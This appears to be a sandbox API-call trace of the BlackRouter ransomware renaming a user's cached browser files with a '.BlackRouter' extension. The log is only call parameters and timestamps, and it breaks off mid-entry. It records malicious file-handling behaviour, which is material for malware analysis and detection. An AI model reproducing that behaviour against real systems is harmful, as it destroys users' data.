GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\c7-bdbd0d-91cdfbc1[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\c7-bdbd0d-91cdfbc1[1].txt"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd97bf10, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbd97bf10, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xcef32150, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x25500)) returned 1 [0067.839] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\c7-bdbd0d-91cdfbc1[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\c7-bdbd0d-91cdfbc1[1].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\c7-bdbd0d-91cdfbc1[1].txt.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\c7-bdbd0d-91cdfbc1[1].txt.blackrouter")) returned 1 [0067.876] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x39f [0067.879] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\activityi;src=2542116;cat=Chrom00;type=clien612;ord=2366422437621[1].htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\activityi;src=2542116;cat=chrom00;type=clien612;ord=2366422437621[1].htm"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x64c161a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x64c161a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcef7e410, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x3a0)) returned 1 [0067.879] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\activityi;src=2542116;cat=Chrom00;type=clien612;ord=2366422437621[1].htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\activityi;src=2542116;cat=chrom00;type=clien612;ord=2366422437621[1].htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\activityi;src=2542116;cat=Chrom00;type=clien612;ord=2366422437621[1].htm.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\activityi;src=2542116;cat=chrom00;type=clien612;ord=2366422437621[1].htm.blackrouter")) returned 1 [0067.880] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x922 [0067.893] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\msn[1].htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\msn[1].htm"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x52e4e6f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52e4e6f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcefa4570, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x930)) returned 1 [0067.894] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\msn[1].htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\msn[1].htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\msn[1].htm.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\msn[1].htm.blackrouter")) returned 1 [0067.895] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0xa33 [0067.903] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\uid[1].htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\uid[1].htm"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x54a20810, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54a20810, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcefca6d0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xa40)) returned 1 [0067.903] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\uid[1].htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\uid[1].htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\uid[1].htm.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\uid[1].htm.blackrouter")) returned 1 [0067.906] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x91dd [0067.919] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adex[1].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\adex[1].js"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbf2eca30, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf2eca30, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xceff0830, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x91e0)) returned 1 [0067.920] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adex[1].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\adex[1].js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adex[1].js.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\adex[1].js.blackrouter")) returned 1 [0067.920] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x525b [0067.934] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adsWrapperMSNI[1].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\adswrappermsni[1].js"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbdb6b0f0, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbdb6b0f0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xcf016990, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x5260)) returned 1 [0067.935] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adsWrapperMSNI[1].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\adswrappermsni[1].js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adsWrapperMSNI[1].js.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\adswrappermsni[1].js.blackrouter")) returned 1 [0067.935] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x1183b [0067.949] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ast[1].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\ast[1].js"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbe112530, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbe112530, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xcf03caf0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x11840)) returned 1 [0067.949] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ast[1].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\ast[1].js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ast[1].js.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\ast[1].js.blackrouter")) returned 1 [0067.950] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x13a9 [0067.958] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\autotrack[1].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\autotrack[1].js"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x58798580, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x58798580, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcf03caf0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x13b0)) returned 1 [0067.959] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\autotrack[1].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\autotrack[1].js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\autotrack[1].js.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\autotrack[1].js.blackrouter")) returned 1 [0067.960] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x82d8 [0067.973] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chartbeat[1].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\chartbeat[1].js"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x50fa0830, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x50fa0830, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcf062c50, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x82e0)) returned 1 [0067.973] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chartbeat[1].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\chartbeat[1].js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chartbeat[1].js.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\chartbeat[1].js.blackrouter")) returned 1 [0067.974] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x3bf20 [0068.011] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chrome-installer.min[1].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\chrome-installer.min[1].js"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x60c8f680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x60c8f680, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcf0d5070, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x3bf30)) returned 1 [0068.011] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chrome-installer.min[1].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\chrome-installer.min[1].js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chrome-installer.min[1].js.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\chrome-installer.min[1].js.blackrouter")) returned 1 [0068.012] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x4d5b9 [0068.043] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ebHtml5Banner[1].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\ebhtml5banner[1].js"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbf7af630, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf7af630, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xcf121330, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x4d5c0)) returned 1 [0068.043] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ebHtml5Banner[1].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\ebhtml5banner[1].js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ebHtml5Banner[1].js.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\ebhtml5banner[1].js.blackrouter")) returned 1 [0068.045] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x1762e [0068.063] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\jquery-1.11.1.min[1].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\jquery-1.11.1.min[1].js"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x510ff810, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510ff810, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcf147490, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x17630)) returned 1 [0068.063] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\jquery-1.11.1.min[1].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\jquery-1.11.1.min[1].js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\jquery-1.11.1.min[1].js.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\jquery-1.11.1.min[1].js.blackrouter")) returned 1 [0068.064] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x3112 [0068.086] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\rpc_shindig_random[1].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\rpc_shindig_random[1].js"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6378e3e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6378e3e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcf193750, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x3120)) returned 1 [0068.086] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\rpc_shindig_random[1].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\rpc_shindig_random[1].js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\rpc_shindig_random[1].js.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\rpc_shindig_random[1].js.blackrouter")) returned 1 [0068.092] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0xc05f [0068.097] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\26158[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\26158[1].png"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x54a20810, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54a20810, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcf193750, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xc060)) returned 1 [0068.098] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\26158[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\26158[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\26158[1].png.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\26158[1].png.blackrouter")) returned 1 [0068.101] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x3e3 [0068.120] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA42x3V[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\aa42x3v[1].png"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x458eefb0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x458eefb0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcf1dfa10, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x3f0)) returned 1 [0068.120] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA42x3V[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\aa42x3v[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA42x3V[1].png.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\aa42x3v[1].png.blackrouter")) returned 1 [0068.121] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x1d0 [0068.129] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA58NQj[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\aa58nqj[1].png"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5341bc90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5341bc90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcf1dfa10, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x1e0)) returned 1 [0068.129] MoveFileW 